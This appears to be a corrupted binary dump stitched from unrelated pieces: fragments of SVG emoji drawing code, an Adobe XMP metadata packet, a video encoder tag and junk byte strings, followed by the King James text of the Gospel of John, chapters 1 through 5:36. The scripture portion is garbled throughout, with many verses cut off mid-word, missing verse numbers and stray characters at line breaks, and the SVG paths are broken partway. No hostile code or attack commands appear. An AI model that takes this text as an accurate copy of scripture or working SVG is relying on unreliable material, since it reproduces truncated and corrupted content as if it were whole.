08c-1.83,0.69-2.75,2.72-2.07,4.55l1.7127,6.7546"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M49.75,17.97 c-0.19-1.95,1.23-3.67,3.17-3.86c1.94-0.19,3.67,1.23,3.86,3.17c0.03,0.31-0.3,21.34-0.3,21.34c0,0.19,0,0.37-0.03,0.55"/>
    <line x1="41.8254" x2="45.4061" y1="27.7921" y2="33.4468" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <circle cx="36" cy="36" r="24" fill="#FCEA2B"/>
    <circle cx="36" cy="48.1435" r="3.4042" fill="#FFFFFF"/>
  <g id="skin-shadow"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M44.7693,14.7308c-0.3678-0.1518-0.7405-0.2944-1.1176-0.4274C41.258,13.4592,38.6826,13,36,13c-12.7031,0-23,10M
.2969-23,23 c0,12.7022,10.2969,23,23,23c12.7022,0,23-10.2978,23-23c0-2.8236-0.5088-5.5284-1.4397-8.0276"/>
    <circle cx="36" cy="48.1435" r="3.4042" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M50.1652,32.8593c-3.1758,2.3436-7.4563,2.061-10,0"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-M
linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M31.8348,32.8593c-3.1758,2.3436-7.4563,2.061-10,0"/>
    <path d="M44.8748,24.0258h-2.6162c-0.3564,0-0.6855-0.1899-0.8652-0.498c-0.1787-0.3086-0.1797-0.6885-0.0029-0.998l1.7607-3.082 h-0.8926c-0.5527,0-1-0.4478-1-1s0.4473-1,1-1h2.6162c0.3564,0,0.6855,0.1899,0.8652,0.498 c0.1787,0.3086,0.1797,0.6885,0.0029,0.998l-1.7607,3.082h0.8926c0.5527,0,1,0.4478,1,1S45.4275,24.0258,44.8748,24.0258z"/>
    <path d="M51.0184,20.0258h-3.7598c-0.3564,0-0.6855-0.1899-0.8652M
-0.498c-0.1787-0.3086-0.1797-0.6885-0.0029-0.998l2.9043-5.082 h-2.0361c-0.5527,0-1-0.4478-1-1s0.4473-1,1-1h3.7598c0.3564,0,0.6855,0.1899,0.8652,0.498 c0.1787,0.3086,0.1797,0.6885,0.0029,0.998l-2.9044,5.082h2.0361c0.5527,0,1,0.4478,1,1S51.5711,20.0258,51.0184,20.0258z"/>
    <path d="M59.1609,25.0258h-4.9023c-0.3564,0-0.6855-0.1899-0.8652-0.498c-0.1787-0.3086-0.1797-0.6885-0.0029-0.998l4.0469-7.082 h-3.1787c-0.5527,0-1-0.4478-1-1s0.4473-1,1-1h4.9023c0.3564,0,0.6855,0.1899,0.8652,0.498 c0.1787,0.3086,0.1797,0.6885,0.M
0029,0.998l-4.0469,7.082h3.1787c0.5527,0,1,0.4478,1,1S59.7137,25.0258,59.1609,25.0258z"/>
  <g id="color-foreground">
    <path fill="#61B2E4" stroke="#61B2E4" stroke-miterlimit="10" stroke-width="0.1" d="M44.8748,24.0258h-2.6162 c-0.3564,0-0.6855-0.1899-0.8652-0.498c-0.1787-0.3086-0.1797-0.6885-0.0029-0.998l1.7607-3.082h-0.8926c-0.5527,0-1-0.4478-1-1 s0.4473-1,1-1h2.6162c0.3564,0,0.6855,0.1899,0.8652,0.498c0.1787,0.3086,0.1797,0.6885,0.0029,0.998l-1.7607,3.082h0.8926 c0.5527,0,1,0.4478,1,1S45.4275,24.0258,4M
    <path fill="#61B2E4" stroke="#61B2E4" stroke-miterlimit="10" stroke-width="0.1" d="M51.0184,20.0258h-3.7598 c-0.3564,0-0.6855-0.1899-0.8652-0.498c-0.1787-0.3086-0.1797-0.6885-0.0029-0.998l2.9043-5.082h-2.0361c-0.5527,0-1-0.4478-1-1 s0.4473-1,1-1h3.7598c0.3564,0,0.6855,0.1899,0.8652,0.498c0.1787,0.3086,0.1797,0.6885,0.0029,0.998l-2.9044,5.082h2.0361 c0.5527,0,1,0.4478,1,1S51.5711,20.0258,51.0184,20.0258z"/>
    <path fill="#61B2E4" stroke="#61B2E4" stroke-miterlimit="10" stroke-width="0.1" d="MU
M59.1609,25.0258h-4.9023 c-0.3564,0-0.6855-0.1899-0.8652-0.498c-0.1787-0.3086-0.1797-0.6885-0.0029-0.998l4.0469-7.082h-3.1787c-0.5527,0-1-0.4478-1-1 s0.4473-1,1-1h4.9023c0.3564,0,0.6855,0.1899,0.8652,0.498c0.1787,0.3086,0.1797,0.6885,0.0029,0.998l-4.0469,7.082h3.1787 c0.5527,0,1,0.4478,1,1S59.7137,25.0258,59.1609,25.0258z"/>
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
59.37.100 libvpx-vp9g
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <path fill="#FCEA2B" stroke="none" d="M63.1103,54.1648c-10.9692,9.4397-26.3611,11.6803-46.4096,11.5634c0,0-3.7408,1.1495-4.5981-3.5655 c0,0-0.7696-20.8863,3.809-35.5476c0,0-0.1948-5.9814,0.0293-9.8976c0.0389-0.6722,0.3312-1.2957,0.828-1.7535 c5.7574-5.319,8.3487-6.0983,8.3487-6.0983l8.3682-1.4808c1.3249,0.906,4.2279,4.1792,3.7505,9.995l0.1071-0.3994l3.2148,0.9012 c1.1226,0.3416,1.8585,1.525M
,1.8412,2.6546c-0.0098,1.169-2.8056,2.0457-2.8056,2.0457c-6.1178,1.3834-6.1178,1.3834-6.1178,1.3834 c-1.8314,2.8738-5.5937,3.1758-7.279,3.0979c-0.0877-0.2435-0.5927-0.0195-0.1933,0c0.5942,1.5002,1.2893,5.1144,1.9225,11.807 l0.1753,1.8606c0.0487,0.5261,0.3166,4.7286,0.3847,7.4757c1.812-4.413,6.6361-12.5609,15.7348-13.8468 c13.4631-1.9192,20.1654,8.4948,20.1654,8.4948s0.2338,0.2728,0.526,0.7696C66.9778,47.0728,66.1595,51.5345,63.1103,54.1648z"/>
    <path fill="#FCEA2B" stroke="none" d="M26.5081,26.81c-0.41-0.02-0.74M
-0.06-0.94-0.09l0.64-0.49C26.3181,26.37,26.4181,26.56,26.5081,26.81z"/>
    <path fill="#FCEA2B" stroke="none" d="M26.5081,26.81c-0.41-0.02-0.74-0.06-0.94-0.09l0.64-0.49C26.3181,26.37,26.4181,26.56,26.5081,26.81z"/>
  <g id="skin-shadow">
    <path fill="#F1B31C" stroke="none" d="M21.9216,26.23c0,0,5.3444-4.9857,1.6152-6.3791l12.7609-0.4198l0.6708-1.142l0.2196-1.8442 c1.0717,0.1781,3.365,0.9463,3.6416,1.0119c0,0,2.4043,1.8731,0.4487,4.0933l-7.7788,2.2345 C33.4996,23.7845,28.7764,27.5881,21.9216,26.23z"/>
 <path fill="#F1B31C" stroke="none" d="M21.9216,26.23c0.7946,9.2179,2.5603,25.6411,2.0697,27.7452c-0.0446,0.6989,0.6552,0.8094,1.0129,0.2954 c0.8285-0.6666,2.7669-2.5969,3.8182-5.1942c0-5.762-0.6668-12.458-2.2191-22.2629C26.0331,25.229,23.664,25.2485,21.9216,26.23z"/>
    <path fill="#F1B31C" stroke="none" d="M48.1988,34.0995c0,0,10.2391,6.9729,3.106,16.4198c0,0,2.1324,8.5167,0.1552,9.8508 c-1.9772,1.3341,20.619-5.5453,12.1362-18.5633C63.5963,41.8069,58.4379,34.2341,48.1988,34.0995z"/>
ath fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M27.4684,40.5519c-0.4282-4.2794-1.1326-12.7197-1.9548-13.7543c0,0,5.2009,1.1102,7.8117-2.9736"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M34.5031,53.0878c0,0,10.8019,2.7012,19.2868-4.3269"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-wM
idth="2" d="M27.7195,50.6312c0,0,2.8688-14.4737,16.3682-16.3928s20.2138,8.5143,20.2138,8.5143s0.2302,0.2755,0.5269,0.7704 c2.0724,3.4564,1.2505,7.9342-1.8035,10.5637C52.0326,63.551,36.5991,65.7993,16.5066,65.6836c0,0-3.7502,1.1456-4.6096-3.574 c0,0-0.7689-20.9388,3.8178-35.6261c0,0-0.1965-6.0013,0.0307-9.9287c0.0388-0.67,0.3337-1.2971,0.827-1.7521 c5.7789-5.3313,8.3742-6.1149,8.3742-6.1149l8.3881-1.4838c1.436,0.9837,4.7256,4.7388,3.5707,11.4953"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" strokeM
-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M25.5888,19.2948c0,0,1.8163,2.5911,3.6325-0.2835V16l-0.46-1.6583l-0.3606-0.278"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M29.5442,19.2948c0,0,1.8163,2.5911,3.6325-0.2835V16l-0.8731-2.1254"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M36.8203,19.0113c-1.9616,1.8889-3.3207,0-3.3207,0M
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M20.301,16.4465c0.5038,0.4387,1.1429,1.2206,1.2784,2.4327c0.0322,0.2877,0.131,0.5691,0.3359,0.7736 c0.595,0.5939,1.9586,1.5167,3.3223-0.6415V16l-0.6351-1.2677"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M40.3564,18.289c1.9261,0.5697,2.2618,3.4266-0.7028,4.0993c-6.3283,1.4358-6.3283,1.4358-6.3283,1.
((((((((((((((((((((((((((((((((((((((((((((((((((
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <circle cx="36" cy="36" r="23" fill="#FCEA2B"/>
  <g id="skin-shadow"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M36.4152,41.0924c0,0,10.5248,3.1956,0,5.5637c0,0,10.4577,2.9883,0,4.9125"/>
    <ellipse cx="36" cy="36" rx="23.0001" ry="23.0001" fill="none" stroke="#000000" stroke-liM
necap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2" d="M31.6941,32.4036 c-1.0598-2.3854-3.8527-3.46-6.238-2.4002c-1.0697,0.4752-1.9249,1.3305-2.4002,2.4002"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2" d="M48.9441,32.4036 c-1.0598-2.3854-3.8527-3.46-6.238-2.4002c-1.0697,0.4752-1.9249,1.3305-2.4002,2.4002"/>
|http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:E782AD1EA8BB11EDA659ABA74C3C3A70" xmpMM:InstanceID="xmp.iid:E782AD1DA8BB11EDA659ABA74C3C3A70" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:e0d18448-e896-5e43-a0da-1b9382b0ded8" stRef:documentID="xmp.did:e0d18448-e896-5e43-a0da-1b9382b0ded8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDD
&6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
((((((((((((((((((((((((((((((((((((((((((((((((((
59.37.100 libvpx-vp9g
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
text/plain;charset=utf-8
AUTHORIZED KING JAMES VERSION
THE GOSPEL ACCORDING TO ST. JOHN
1:1: In the beginning was the Word, and the Word was with God, and the Word was God.
1:2: The same was in the beginning with God.
1:3: All things were made by him; and without him was not any thing made that was made.
1:4: In him was life; and the life was the light of men.
1:5: And the light shineth in darkness; and the darkness comprehended it not.
1:6: There was a man sent from God, whose name was John.
 The same came for a witness, to bear witness of the Light, that all men through him might believe.
1:8: He was not that Light, but was sent to bear witness of that Light.
1:9: That was the true Light, which lighteth every man that cometh into the world.
1:10: He was in the world, and the world was made by him, and the world knew him not.
1:11: He came unto his own, and his own received him not.
1:12: But as many as received him, to them gave he power to become the sons of God, even to them that believe on his nameM
1:13: Which were born, not of blood, nor of the will of the flesh, nor of the will of man, but of God.
1:14: And the Word was made flesh, and dwelt among us, (and we beheld his glory, the glory as of the only begotten of the Father,) full of grace and truth.
1:15: John bare witness of him, and cried, saying, This was he of whom I spake, He that cometh after me is preferred before me: for he was before me.
1:16: And of his fulness have all we received, and grace for grace.
1:17: For the law was given by Moses, butM
 grace and truth came by Jesus Christ.
1:18: No man hath seen God at any time; the only begotten Son, which is in the bosom of the Father, he hath declared him.
1:19: And this is the record of John, when the Jews sent priests and Levites from Jerusalem to ask him, Who art thou?
1:20: And he confessed, and denied not; but confessed, I am not the Christ.
1:21: And they asked him, What then? Art thou Elias? And he saith, I am not. Art thou that prophet? And he answered, No.
1:22: Then said they unto him, Who art thou?M
 that we may give an answer to them that sent us. What sayest thou of thyself?
1:23: He said, I am the voice of one crying in the wilderness, Make straight the way of the Lord, as said the prophet Esaias.
1:24: And they which were sent were of the Pharisees.
1:25: And they asked him, and said unto him, Why baptizest thou then, if thou be not that Christ, nor Elias, neither that prophet?
1:26: John answered them, saying, I baptize with water: but there standeth one among you, whom ye know not;
1:27: He it is, who coM
ming after me is preferred before me, whose shoe's latchet I am not worthy to unloose.
1:28: These things were done in Bethabara beyond Jordan, where John was baptizing.
1:29: The next day John seeth Jesus coming unto him, and saith, Behold the Lamb of God, which taketh away the sin of the world.
1:30: This is he of whom I said, After me cometh a man which is preferred before me: for he was before me.
1:31: And I knew him not: but that he should be made manifest to Israel, therefore am I come baptizing with water.
1:32: And John bare record, saying, I saw the Spirit descending from heaven like a dove, and it abode upon him.
1:33: And I knew him not: but he that sent me to baptize with water, the same said unto me, Upon whom thou shalt see the Spirit descending, and remaining on him, the same is he which baptizeth with the Holy Ghost.
1:34: And I saw, and bare record that this is the Son of God.
1:35: Again the next day after John stood, and two of his disciples;
1:36: And looking upon Jesus as he walked, he saith, Behold theM
1:37: And the two disciples heard him speak, and they followed Jesus.
1:38: Then Jesus turned, and saw them following, and saith unto them, What seek ye? They said unto him, Rabbi, (which is to say, being interpreted, Master,) where dwellest thou?
1:39: He saith unto them, Come and see. They came and saw where he dwelt, and abode with him that day: for it was about the tenth hour.
1:40: One of the two which heard John speak, and followed him, was Andrew, Simon Peter's brother.
1:41: He first findeth hM
is own brother Simon, and saith unto him, We have found the Messias, which is, being interpreted, the Christ.
1:42: And he brought him to Jesus. And when Jesus beheld him, he said, Thou art Simon the son of Jona: thou shalt be called Cephas, which is by interpretation, A stone.
1:43: The day following Jesus would go forth into Galilee, and findeth Philip, and saith unto him, Follow me.
1:44: Now Philip was of Bethsaida, the city of Andrew and Peter.
1:45: Philip findeth Nathanael, and saith unto him, We have found M
him, of whom Moses in the law, and the prophets, did write, Jesus of Nazareth, the son of Joseph.
1:46: And Nathanael said unto him, Can there any good thing come out of Nazareth? Philip saith unto him, Come and see.
1:47: Jesus saw Nathanael coming to him, and saith of him, Behold an Israelite indeed, in whom is no guile!
1:48: Nathanael saith unto him, Whence knowest thou me? Jesus answered and said unto him, Before that Philip called thee, when thou wast under the fig tree, I saw thee.
1:49: Nathanael answered aM
nd saith unto him, Rabbi, thou art the Son of God; thou art the King of Israel.
1:50: Jesus answered and said unto him, Because I said unto thee, I saw thee under the fig tree, believest thou? thou shalt see greater things than these.
1:51: And he saith unto him, Verily, verily, I say unto you, Hereafter ye shall see heaven open, and the angels of God ascending and descending upon the Son of man.
2:1: And the third day there was a marriage in Cana of Galilee; and the mother of Jesus was there:
oth Jesus was called, and his disciples, to the marriage.
2:3: And when they wanted wine, the mother of Jesus saith unto him, They have no wine.
2:4: Jesus saith unto her, Woman, what have I to do with thee? mine hour is not yet come.
2:5: His mother saith unto the servants, Whatsoever he saith unto you, do it.
2:6: And there were set there six waterpots of stone, after the manner of the purifying of the Jews, containing two or three firkins apiece.
2:7: Jesus saith unto them, Fill the waterpots with water. And theM
y filled them up to the brim.
2:8: And he saith unto them, Draw out now, and bear unto the governor of the feast. And they bare it.
2:9: When the ruler of the feast had tasted the water that was made wine, and knew not whence it was: (but the servants which drew the water knew;) the governor of the feast called the bridegroom,
2:10: And saith unto him, Every man at the beginning doth set forth good wine; and when men have well drunk, then that which is worse: but thou hast kept the good wine until now.
eginning of miracles did Jesus in Cana of Galilee, and manifested forth his glory; and his disciples believed on him.
2:12: After this he went down to Capernaum, he, and his mother, and his brethren, and his disciples: and they continued there not many days.
2:13: And the Jews' passover was at hand, and Jesus went up to Jerusalem,
2:14: And found in the temple those that sold oxen and sheep and doves, and the changers of money sitting:
2:15: And when he had made a scourge of small cords, he drove them all out of thM
e temple, and the sheep, and the oxen; and poured out the changers' money, and overthrew the tables;
2:16: And said unto them that sold doves, Take these things hence; make not my Father's house an house of merchandise.
2:17: And his disciples remembered that it was written, The zeal of thine house hath eaten me up.
2:18: Then answered the Jews and said unto him, What sign shewest thou unto us, seeing that thou doest these things?
2:19: Jesus answered and said unto them, Destroy this temple, and in three days I wilM
2:20: Then said the Jews, Forty and six years was this temple in building, and wilt thou rear it up in three days?
2:21: But he spake of the temple of his body.
2:22: When therefore he was risen from the dead, his disciples remembered that he had said this unto them; and they believed the scripture, and the word which Jesus had said.
2:23: Now when he was in Jerusalem at the passover, in the feast day, many believed in his name, when they saw the miracles which he did.
2:24: But Jesus did not commit M
himself unto them, because he knew all men,
2:25: And needed not that any should testify of man: for he knew what was in man.
3:1: There was a man of the Pharisees, named Nicodemus, a ruler of the Jews:
3:2: The same came to Jesus by night, and said unto him, Rabbi, we know that thou art a teacher come from God: for no man can do these miracles that thou doest, except God be with him.
3:3: Jesus answered and said unto him, Verily, verily, I say unto thee, Except a man be born again, he cannot see the kinM
3:4: Nicodemus saith unto him, How can a man be born when he is old? can he enter the second time into his mother's womb, and be born?
3:5: Jesus answered, Verily, verily, I say unto thee, Except a man be born of water and of the Spirit, he cannot enter into the kingdom of God.
3:6: That which is born of the flesh is flesh; and that which is born of the Spirit is spirit.
3:7: Marvel not that I said unto thee, Ye must be born again.
3:8: The wind bloweth where it listeth, and thou hearest the sound therM
eof, but canst not tell whence it cometh, and whither it goeth: so is every one that is born of the Spirit.
3:9: Nicodemus answered and said unto him, How can these things be?
3:10: Jesus answered and said unto him, Art thou a master of Israel, and knowest not these things?
3:11: Verily, verily, I say unto thee, We speak that we do know, and testify that we have seen; and ye receive not our witness.
3:12: If I have told you earthly things, and ye believe not, how shall ye believe, if I tell you of heavenly things?
3:13: And no man hath ascended up to heaven, but he that came down from heaven, even the Son of man which is in heaven.
3:14: And as Moses lifted up the serpent in the wilderness, even so must the Son of man be lifted up:
3:15: That whosoever believeth in him should not perish, but have eternal life.
3:16: For God so loved the world, that he gave his only begotten Son, that whosoever believeth in him should not perish, but have everlasting life.
3:17: For God sent not his Son into the world to condemn the world; buM
t that the world through him might be saved.
3:18: He that believeth on him is not condemned: but he that believeth not is condemned already, because he hath not believed in the name of the only begotten Son of God.
3:19: And this is the condemnation, that light is come into the world, and men loved darkness rather than light, because their deeds were evil.
3:20: For every one that doeth evil hateth the light, neither cometh to the light, lest his deeds should be reproved.
3:21: But he that doeth truth cometh to thM
e light, that his deeds may be made manifest, that they are wrought in God.
3:22: After these things came Jesus and his disciples into the land of Judaea; and there he tarried with them, and baptized.
3:23: And John also was baptizing in Aenon near to Salim, because there was much water there: and they came, and were baptized.
3:24: For John was not yet cast into prison.
3:25: Then there arose a question between some of John's disciples and the Jews about purifying.
3:26: And they came unto John, and said unto him,M
 Rabbi, he that was with thee beyond Jordan, to whom thou barest witness, behold, the same baptizeth, and all men come to him.
3:27: John answered and said, A man can receive nothing, except it be given him from heaven.
3:28: Ye yourselves bear me witness, that I said, I am not the Christ, but that I am sent before him.
3:29: He that hath the bride is the bridegroom: but the friend of the bridegroom, which standeth and heareth him, rejoiceth greatly because of the bridegroom's voice: this my joy therefore is fulfilM
3:30: He must increase, but I must decrease.
3:31: He that cometh from above is above all: he that is of the earth is earthly, and speaketh of the earth: he that cometh from heaven is above all.
3:32: And what he hath seen and heard, that he testifieth; and no man receiveth his testimony.
3:33: He that hath received his testimony hath set to his seal that God is true.
3:34: For he whom God hath sent speaketh the words of God: for God giveth not the Spirit by measure unto him.
3:35: The Father loveth the Son, aM
nd hath given all things into his hand.
3:36: He that believeth on the Son hath everlasting life: and he that believeth not the Son shall not see life; but the wrath of God abideth on him.
4:1: When therefore the Lord knew how the Pharisees had heard that Jesus made and baptized more disciples than John,
4:2: (Though Jesus himself baptized not, but his disciples,)
4:3: He left Judaea, and departed again into Galilee.
4:4: And he must needs go through Samaria.
4:5: Then cometh he to a city of Samaria, whiM
ch is called Sychar, near to the parcel of ground that Jacob gave to his son Joseph.
4:6: Now Jacob's well was there. Jesus therefore, being wearied with his journey, sat thus on the well: and it was about the sixth hour.
4:7: There cometh a woman of Samaria to draw water: Jesus saith unto her, Give me to drink.
4:8: (For his disciples were gone away unto the city to buy meat.)
4:9: Then saith the woman of Samaria unto him, How is it that thou, being a Jew, askest drink of me, which am a woman of Samaria? for the JM
ews have no dealings with the Samaritans.
4:10: Jesus answered and said unto her, If thou knewest the gift of God, and who it is that saith to thee, Give me to drink; thou wouldest have asked of him, and he would have given thee living water.
4:11: The woman saith unto him, Sir, thou hast nothing to draw with, and the well is deep: from whence then hast thou that living water?
4:12: Art thou greater than our father Jacob, which gave us the well, and drank thereof himself, and his children, and his cattle?
us answered and said unto her, Whosoever drinketh of this water shall thirst again:
4:14: But whosoever drinketh of the water that I shall give him shall never thirst; but the water that I shall give him shall be in him a well of water springing up into everlasting life.
4:15: The woman saith unto him, Sir, give me this water, that I thirst not, neither come hither to draw.
4:16: Jesus saith unto her, Go, call thy husband, and come hither.
4:17: The woman answered and said, I have no husband. Jesus said unto her, TM
hou hast well said, I have no husband:
4:18: For thou hast had five husbands; and he whom thou now hast is not thy husband: in that saidst thou truly.
4:19: The woman saith unto him, Sir, I perceive that thou art a prophet.
4:20: Our fathers worshipped in this mountain; and ye say, that in Jerusalem is the place where men ought to worship.
4:21: Jesus saith unto her, Woman, believe me, the hour cometh, when ye shall neither in this mountain, nor yet at Jerusalem, worship the Father.
4:22: Ye worship ye know not whaM
t: we know what we worship: for salvation is of the Jews.
4:23: But the hour cometh, and now is, when the true worshippers shall worship the Father in spirit and in truth: for the Father seeketh such to worship him.
4:24: God is a Spirit: and they that worship him must worship him in spirit and in truth.
4:25: The woman saith unto him, I know that Messias cometh, which is called Christ: when he is come, he will tell us all things.
4:26: Jesus saith unto her, I that speak unto thee am he.
4:27: And upon this came hiM
s disciples, and marvelled that he talked with the woman: yet no man said, What seekest thou? or, Why talkest thou with her?
4:28: The woman then left her waterpot, and went her way into the city, and saith to the men,
4:29: Come, see a man, which told me all things that ever I did: is not this the Christ?
4:30: Then they went out of the city, and came unto him.
4:31: In the mean while his disciples prayed him, saying, Master, eat.
4:32: But he said unto them, I have meat to eat that ye know not of.
 said the disciples one to another, Hath any man brought him ought to eat?
4:34: Jesus saith unto them, My meat is to do the will of him that sent me, and to finish his work.
4:35: Say not ye, There are yet four months, and then cometh harvest? behold, I say unto you, Lift up your eyes, and look on the fields; for they are white already to harvest.
4:36: And he that reapeth receiveth wages, and gathereth fruit unto life eternal: that both he that soweth and he that reapeth may rejoice together.
4:37: And herein is M
that saying true, One soweth, and another reapeth.
4:38: I sent you to reap that whereon ye bestowed no labour: other men laboured, and ye are entered into their labours.
4:39: And many of the Samaritans of that city believed on him for the saying of the woman, which testified, He told me all that ever I did.
4:40: So when the Samaritans were come unto him, they besought him that he would tarry with them: and he abode there two days.
4:41: And many more believed because of his own word;
4:42: And said unto the womaM
n, Now we believe, not because of thy saying: for we have heard him ourselves, and know that this is indeed the Christ, the Saviour of the world.
4:43: Now after two days he departed thence, and went into Galilee.
4:44: For Jesus himself testified, that a prophet hath no honour in his own country.
4:45: Then when he was come into Galilee, the Galilaeans received him, having seen all the things that he did at Jerusalem at the feast: for they also went unto the feast.
4:46: So Jesus came again into Cana of Galilee, wM
here he made the water wine. And there was a certain nobleman, whose son was sick at Capernaum.
4:47: When he heard that Jesus was come out of Judaea into Galilee, he went unto him, and besought him that he would come down, and heal his son: for he was at the point of death.
4:48: Then said Jesus unto him, Except ye see signs and wonders, ye will not believe.
4:49: The nobleman saith unto him, Sir, come down ere my child die.
4:50: Jesus saith unto him, Go thy way; thy son liveth. And the man believed the word thatM
 Jesus had spoken unto him, and he went his way.
4:51: And as he was now going down, his servants met him, and told him, saying, Thy son liveth.
4:52: Then enquired he of them the hour when he began to amend. And they said unto him, Yesterday at the seventh hour the fever left him.
4:53: So the father knew that it was at the same hour, in the which Jesus said unto him, Thy son liveth: and himself believed, and his whole house.
4:54: This is again the second miracle that Jesus did, when he was come out of Judaea intM
5:1: After this there was a feast of the Jews; and Jesus went up to Jerusalem.
5:2: Now there is at Jerusalem by the sheep market a pool, which is called in the Hebrew tongue Bethesda, having five porches.
5:3: In these lay a great multitude of impotent folk, of blind, halt, withered, waiting for the moving of the water.
5:4: For an angel went down at a certain season into the pool, and troubled the water: whosoever then first after the troubling of the water stepped in was made whole of whatsM
oever disease he had.
5:5: And a certain man was there, which had an infirmity thirty and eight years.
5:6: When Jesus saw him lie, and knew that he had been now a long time in that case, he saith unto him, Wilt thou be made whole?
5:7: The impotent man answered him, Sir, I have no man, when the water is troubled, to put me into the pool: but while I am coming, another steppeth down before me.
5:8: Jesus saith unto him, Rise, take up thy bed, and walk.
5:9: And immediately the man was made whole, and took up his beM
d, and walked: and on the same day was the sabbath.
5:10: The Jews therefore said unto him that was cured, It is the sabbath day: it is not lawful for thee to carry thy bed.
5:11: He answered them, He that made me whole, the same said unto me, Take up thy bed, and walk.
5:12: Then asked they him, What man is that which said unto thee, Take up thy bed, and walk?
5:13: And he that was healed wist not who it was: for Jesus had conveyed himself away, a multitude being in that place.
5:14: Afterward Jesus findeth him inM
 the temple, and said unto him, Behold, thou art made whole: sin no more, lest a worse thing come unto thee.
5:15: The man departed, and told the Jews that it was Jesus, which had made him whole.
5:16: And therefore did the Jews persecute Jesus, and sought to slay him, because he had done these things on the sabbath day.
5:17: But Jesus answered them, My Father worketh hitherto, and I work.
5:18: Therefore the Jews sought the more to kill him, because he not only had broken the sabbath, but said also that God was hM
is Father, making himself equal with God.
5:19: Then answered Jesus and said unto them, Verily, verily, I say unto you, The Son can do nothing of himself, but what he seeth the Father do: for what things soever he doeth, these also doeth the Son likewise.
5:20: For the Father loveth the Son, and sheweth him all things that himself doeth: and he will shew him greater works than these, that ye may marvel.
5:21: For as the Father raiseth up the dead, and quickeneth them; even so the Son quickeneth whom he will.
For the Father judgeth no man, but hath committed all judgment unto the Son:
5:23: That all men should honour the Son, even as they honour the Father. He that honoureth not the Son honoureth not the Father which hath sent him.
5:24: Verily, verily, I say unto you, He that heareth my word, and believeth on him that sent me, hath everlasting life, and shall not come into condemnation; but is passed from death unto life.
5:25: Verily, verily, I say unto you, The hour is coming, and now is, when the dead shall hear theM
 voice of the Son of God: and they that hear shall live.
5:26: For as the Father hath life in himself; so hath he given to the Son to have life in himself;
5:27: And hath given him authority to execute judgment also, because he is the Son of man.
5:28: Marvel not at this: for the hour is coming, in the which all that are in the graves shall hear his voice,
5:29: And shall come forth; they that have done good, unto the resurrection of life; and they that have done evil, unto the resurrection of damnation.
n of mine own self do nothing: as I hear, I judge: and my judgment is just; because I seek not mine own will, but the will of the Father which hath sent me.
5:31: If I bear witness of myself, my witness is not true.
5:32: There is another that beareth witness of me; and I know that the witness which he witnesseth of me is true.
5:33: Ye sent unto John, and he bare witness unto the truth.
5:34: But I receive not testimony from man: but these things I say, that ye might be saved.
5:35: He was a burning and a shining M
light: and ye were willing for a season to rejoice in his light.
5:36: But I have greater witness than that of John: for the works which the Father hath given me to finish, the same works that I do, bear witness of me, that the Father hath sent me.
